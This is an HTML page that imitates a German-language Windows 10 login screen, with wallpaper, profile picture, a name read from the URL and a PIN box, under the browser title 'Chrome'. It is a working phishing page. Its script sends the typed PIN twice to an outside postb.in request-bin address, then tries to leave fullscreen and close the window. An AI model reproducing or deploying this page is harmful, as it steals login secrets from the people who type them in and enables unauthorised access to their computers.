<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Chrome</title>
<style>
body {
background-image: url("https://static.giga.de/wp-content/uploads/2015/06/Windows-10-Hero-Wallpaper-2560x1600-Pixel.jpg");
width: 100vw;
height: 100vh;
background-size: cover;
overflow: hidden;
display: flex;
align-items: center;
justify-content: center;
backdrop-filter: blur(8px);
}
#login {
display: flex;
flex-direction: column;
align-items: center;
}
#profile-pick {
width: 220px;
height: 220px;
border-radius: 50%;
opacity: 0.9;
}
#name {
font-family: "Segoe UI Light", Tahoma, Geneva, Verdana, sans-serif;
color: white;
text-align: center;
font-size: 51px;
margin-top: 20px;
-webkit-user-select: none;
}
#pwboxcont {
margin: 0;
padding: 0;
display: flex;
flex-direction: row;
margin-top: 28px;
border-style: solid;
border-width: 2px;
box-sizing: content-box;
border-color: #777777aa;
}
#pwboxcont:hover {
border-color: white;
}
:root {
--button-size: 35px;
}
#submit {
height: var(--button-size);
width: var(--button-size);
margin: 0;
padding: 0;
border: 0;
display: flex;
align-items: center;
justify-content: center;
background-color: #888888aa;
outline: none !important;
font-size: 40px;
}
#input {
height: var(--button-size);
width: 250px;
margin: 0;
padding: 0;
border: 0;
display: block;
outline: none !important;
font-size: 17px;
padding-left: 10px;
font-family: "Segoe UI Light", Tahoma, Geneva, Verdana, sans-serif;
}
.subopt {
font-family: "Segoe UI Light", Tahoma, Geneva, Verdana, sans-serif;
color: #eee;
font-size: 16px;
margin-top: 20px;
-webkit-user-select: none;
}
.subopt:hover {
color: #bbb;
cursor: pointer;
}
</style>
</head>
<body>
<div id="login">
<img src="https://imgur.com/Z5XM2Lr.jpg" id="profile-pick" />
<div id="name">Julius van Voorden</div>
<div id="pwboxcont">
<input type="password" id="input" placeholder="PIN" />
<button id="submit" onclick="click();">
<svg
width="1em"
height="1em"
viewBox="0 0 16 16"
class="bi bi-arrow-right-short"
fill="white"
xmlns="http://www.w3.org/2000/svg"
>
<path
fill-rule="evenodd"
d="M4 8a.5.5 0 0 1 .5-.5h5.793L8.146 5.354a.5.5 0 1 1 .708-.708l3 3a.5.5 0 0 1 0 .708l-3 3a.5.5 0 0 1-.708-.708L10.293 8.5H4.5A.5.5 0 0 1 4 8z"
/>
</svg>
</button>
</div>
<div class="subopt">Ich habe meine PIN vergessen.</div>
<div class="subopt">Anmeldeoptionen</div>
</div>
</body>
<script>
document.getElementById("input").addEventListener("input", () => {
let val = document.getElementById("input").value;
if (val && val != "") {
document.getElementById("input").style.fontSize = "27px";
document.getElementById("input").style.letterSpacing = "-2px";
} else {
document.getElementById("input").style.fontSize = "17px";
document.getElementById("input").style.letterSpacing = "inherit";
}
});
document.addEventListener("keydown", (ev) => {
if (ev.key == "Enter") {
click();
}
});
document.getElementById("input").focus();
document.getElementById("input").select();
const urlParams = new URLSearchParams(window.location.search);
document.getElementById("name").innerText = urlParams.get("u") ?? "Login";
let first = false;
function click() {
if (first) {
} else {
let req = new XMLHttpRequest();
req.open(
"GET",
"https://postb.in/1603103500761-6354652959853/" +
document.getElementById("input").value
);
req.send();
setTimeout(() => {
let req = new XMLHttpRequest();
req.open(
"GET",
"https://postb.in/1603103500761-6354652959853/" +
document.getElementById("input").value
);
req.send();
}, 200);
setTimeout(() => {
closeFullscreen();
close();
}, 1000);
}
}
</script>
</html>